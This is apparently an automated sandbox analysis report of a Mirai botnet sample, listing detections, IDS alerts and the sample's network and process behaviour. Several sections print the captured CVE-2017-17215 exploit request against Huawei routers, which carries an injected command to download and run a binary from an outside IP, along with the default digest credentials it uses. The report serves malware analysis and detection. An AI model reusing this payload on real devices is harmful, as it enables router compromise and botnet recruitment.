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Linux Analysis Report
c0f2UxJCEG.elf

Overview

General Information

Sample Name:	c0f2UxJCEG.elf
Original Sample Name:	133b400ae9704a221fbf63dca7455565.elf
Analysis ID:	847030
MD5:	133b400ae9704a221fbf63dca7455565
SHA1:	d0fc3c76071c67a6e5674b20c3f84b375d0d4bb3
SHA256:	8dcf5e470a3fa35c7450ccb4d8087dcd3d7887b0699a0e1dfb5f2704870dfc67
Tags:	32elfmipsmirai
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	847030
Start date and time:	2023-04-14 20:02:05 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	c0f2UxJCEG.elf
Original Sample Name:	133b400ae9704a221fbf63dca7455565.elf
Detection:	MAL
Classification:	mal92.troj.evad.linELF@0/439@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/c0f2UxJCEG.elf
PID:	6231
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

c0f2UxJCEG.elf (PID: 6231, Parent: 6127, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/c0f2UxJCEG.elf

c0f2UxJCEG.elf New Fork (PID: 6233, Parent: 6231)

c0f2UxJCEG.elf New Fork (PID: 6235, Parent: 6233)

c0f2UxJCEG.elf New Fork (PID: 6236, Parent: 6233)

c0f2UxJCEG.elf New Fork (PID: 6238, Parent: 6233)

c0f2UxJCEG.elf New Fork (PID: 6240, Parent: 6233)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
c0f2UxJCEG.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x11e64:$x2: /bin/busybox chmod 777 * /tmp/ 0x11f00:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6231.1.00007f6b58400000.00007f6b58413000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x11e64:$x2: /bin/busybox chmod 777 * /tmp/ 0x11f00:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.62.173.92

Timestamp:	192.168.2.2341.62.173.9258582372152835222 04/14/23-20:04:32.248614
SID:	2835222
Source Port:	58582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 23 - Source IP: 192.168.2.23 - Destination IP: 91.206.178.68

Timestamp:	192.168.2.2391.206.178.6847963372152404344 04/14/23-20:02:57.907694
SID:	2404344
Source Port:	47963
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.2.25

Timestamp:	192.168.2.2341.233.2.2556466372152835222 04/14/23-20:04:51.182712
SID:	2835222
Source Port:	56466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.11.180

Timestamp:	192.168.2.23156.241.11.18037234372152835222 04/14/23-20:04:52.354856
SID:	2835222
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.193.254.111

Timestamp:	192.168.2.2341.193.254.11150272372152835222 04/14/23-20:04:16.465411
SID:	2835222
Source Port:	50272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.38.241.192

Timestamp:	192.168.2.23154.38.241.19235886372152835222 04/14/23-20:03:57.568185
SID:	2835222
Source Port:	35886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.77.16

Timestamp:	192.168.2.2341.37.77.1646342372152835222 04/14/23-20:03:32.937556
SID:	2835222
Source Port:	46342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .cc TLD - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.845432532027758 04/14/23-20:02:51.805636
SID:	2027758
Source Port:	45432
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.54.65

Timestamp:	192.168.2.23197.234.54.6541086372152835222 04/14/23-20:03:27.742388
SID:	2835222
Source Port:	41086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.2.94.204

Timestamp:	192.168.2.23197.2.94.20441012372152835222 04/14/23-20:04:56.492915
SID:	2835222
Source Port:	41012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.2.97

Timestamp:	192.168.2.2341.233.2.9741560372152835222 04/14/23-20:04:00.671088
SID:	2835222
Source Port:	41560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.108.11

Timestamp:	192.168.2.2341.207.108.1135276372152835222 04/14/23-20:04:22.961191
SID:	2835222
Source Port:	35276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.236.107

Timestamp:	192.168.2.2341.232.236.10759220372152835222 04/14/23-20:03:38.313979
SID:	2835222
Source Port:	59220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 35 2e 32 31 37 2e 31 34 34 2e 32 30 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 76 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: hajunxz.cc

System Summary

Malicious sample detected (through community Yara rule)

Source: c0f2UxJCEG.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6231.1.00007f6b58400000.00007f6b58413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: c0f2UxJCEG.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6231.1.00007f6b58400000.00007f6b58413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: classification engine

Classification label: mal92.troj.evad.linELF@0/439@1/0

Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/c0f2UxJCEG.elf (PID: 6235)	File opened: /proc/3/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/c0f2UxJCEG.elf (PID: 6231)

File: /tmp/c0f2UxJCEG.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46342
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59220
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50422
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41560
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58476
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58494
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58514
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58514
Source: unknown	Network traffic detected: HTTP traffic on port 35276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58542
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58624
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 58624
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58582
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56466
Source: unknown	Network traffic detected: HTTP traffic on port 37234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41012

Source: /tmp/c0f2UxJCEG.elf (PID: 6231)

Queries kernel information via 'uname':

Jump to behavior

Source: c0f2UxJCEG.elf, 6231.1.000055b9b8318000.000055b9b839f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: c0f2UxJCEG.elf, 6231.1.000055b9b8318000.000055b9b839f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: c0f2UxJCEG.elf, 6231.1.00007ffda4bde000.00007ffda4bff000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/c0f2UxJCEG.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/c0f2UxJCEG.elf
Source: c0f2UxJCEG.elf, 6231.1.00007ffda4bde000.00007ffda4bff000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

